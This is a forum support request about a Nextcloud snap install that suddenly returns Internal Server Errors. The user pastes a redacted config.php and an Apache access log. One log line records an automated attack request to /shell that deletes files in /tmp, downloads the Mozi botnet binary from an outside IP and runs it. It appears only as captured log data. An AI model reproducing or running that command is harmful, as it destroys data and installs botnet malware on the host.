[details=“Support intro”]
Nextcloud version (eg, 20.0.5) : 22.2.3.0
Operating system and version (eg, Ubuntu 20.04) : Linux Mint 20.3 (Ubuntu 20.04)
Apache or nginx version (eg, Apache 2.4.25) : Apache (version unknown - running nextcloud snap)
PHP version (eg, 7.4) : Unknown - running nextcloud snap
The issue you are facing: Was working and then suddenly a few days ago I started getting: Internal Server Error and I can no longer reach the nextcloud site
Is this the first time you’ve seen this error? (Y/N): Yes
Steps to replicate it:
- go to a browser and type in site address and the error is “internal server error”
The output of your Nextcloud log in Admin > Logging:
**need help getting the logging since it is a snap.**
/var/snap/nextcloud/current/nextcloud/config/config.php
<?php $CONFIG = array ( 'apps_paths' => array ( 0 => array ( 'path' => '/snap/nextcloud/current/htdocs/apps', 'url' => '/apps', 'writable' => false, ), 1 => array ( 'path' => '/var/snap/nextcloud/current/nextcloud/extra-apps', 'url' => '/extra-apps', 'writable' => true, ), ), 'supportedDatabases' => array ( 0 => 'mysql', ), 'memcache.locking' => '\\OC\\Memcache\\Redis', 'memcache.local' => '\\OC\\Memcache\\Redis', 'redis' => array ( 'host' => '/tmp/sockets/redis.sock', 'port' => 0, ), 'log_type' => 'file', 'logfile' => '/var/snap/nextcloud/current/logs/nextcloud.log', 'logfilemode' => 416, 'passwordsalt' => 'XXXXXXXX', 'secret' => 'XXXXXXX', 'trusted_domains' => array ( 0 => 'localhost', 1 => 'XXXXXXXXX.com', ), 'datadirectory' => '/mnt/XXXXXXX/data', 'dbtype' => 'mysql', 'version' => '22.2.3.0', 'overwrite.cli.url' => 'http://localhost', 'dbname' => 'XXXXXXX', 'dbhost' => 'localhost:/tmp/sockets/mysql.sock', 'dbport' => '', 'dbtableprefix' => 'oc_', 'mysql.utf8mb4' => true, 'dbuser' => 'XXXXXXXX', 'dbpassword' => 'XXXXXXXXXXXXX', 'installed' => true, 'instanceid' => 'ockpn0pe6pch', 'mail_from_address' => 'XXXXXXXXX', 'mail_smtpmode' => 'smtp', 'mail_sendmailmode' => 'smtp', 'mail_domain' => 'XXXXXXX.com', 'mail_smtphost' => 'mail.XXXXXXX.com', 'mail_smtpport' => '993', 'maintenance' => false, 'loglevel' => 2, 'mail_smtpauthtype' => 'LOGIN', ); The output of your Apache/nginx/system log in `/var/log/____`: XX.XX.XX.XX - - - [29/Jan/2022:21:42:52 -0500] "GET / HTTP/1.1" 500 7069 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36" XX.XX.XX.XX - - - [29/Jan/2022:21:43:25 -0500] "GET / HTTP/1.0" 400 592 "-" "-" XX.XX.XX.XX - - - [29/Jan/2022:21:43:26 -0500] "GET / HTTP/1.0" 400 592 "-" "-" XX.XX.XX.XX - - - [29/Jan/2022:21:43:33 -0500] "GET / HTTP/1.1" 301 481 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36" XX.XX.XX.XX - - - [29/Jan/2022:21:43:33 -0500] "GET / HTTP/1.1" 500 1576 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36" XX.XX.XX.XX - - - [29/Jan/2022:21:53:09 -0500] "GET / HTTP/1.1" 301 444 "-" "libwww-perl/6.60" XX.XX.XX.XX - - - [29/Jan/2022:21:53:10 -0500] "GET / HTTP/1.1" 500 6856 "-" "libwww-perl/6.60" XX.XX.XX.XX- - - [29/Jan/2022:21:54:03 -0500] "GET /favicon.ico HTTP/1.1" 404 5919 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.2; es-US ) AppleWebKit/540.0 (KHTML like Gecko) Version/6.0 Safari/8900.00" XX.XX.XX.XX - - - [29/Jan/2022:22:07:09 -0500] "GET / HTTP/1.1" 500 7077 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36" XX.XX.XX.XX - - - [29/Jan/2022:22:07:27 -0500] "GET / HTTP/1.1" 301 501 "http://XXXXXXX.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36" XX.XX.XX.XX - - - [29/Jan/2022:22:07:43 -0500] "GET / HTTP/1.1" 301 501 "http://XXXXXXXX.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36" XX.XX.XX.XX - - - [29/Jan/2022:22:08:28 -0500] "GET / HTTP/1.1" 500 7071 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36" XX.XX.XX.XX - - - [29/Jan/2022:22:13:59 -0500] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://163.142.100.47:55437/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 301 673 "-" "Hello, world" ::1 - - - [29/Jan/2022:22:20:31 -0500] "GET / HTTP/1.1" 301 473 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36" 127.0.0.1 - - - [29/Jan/2022:22:20:43 -0500] "GET /extra-apps/richdocumentscode/proxy.php?req=/hosting/capabilities HTTP/1.1" 200 5709 "-" "Nextcloud Server Crawler" ::1 - - - [29/Jan/2022:22:20:36 -0500] "GET / HTTP/1.1" 302 6832 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36" ::1 - - - [29/Jan/2022:22:20:43 -0500] "GET /index.php/login HTTP/1.1" 500 1241 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36" ::1 - - - [29/Jan/2022:22:20:45 -0500] "GET /favicon.ico HTTP/1.1" 404 1032 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36" 127.0.0.1 - - - [29/Jan/2022:22:21:08 -0500] "GET /extra-apps/richdocumentscode/proxy.php?req=/hosting/capabilities HTTP/1.1" 301 545 "-" "Nextcloud Server Crawler" 127.0.0.1 - - - [29/Jan/2022:22:21:08 -0500] "GET /extra-apps/richdocumentscode/proxy.php?req=/hosting/capabilities HTTP/1.1" 200 5709 "-" "Nextcloud Server Crawler"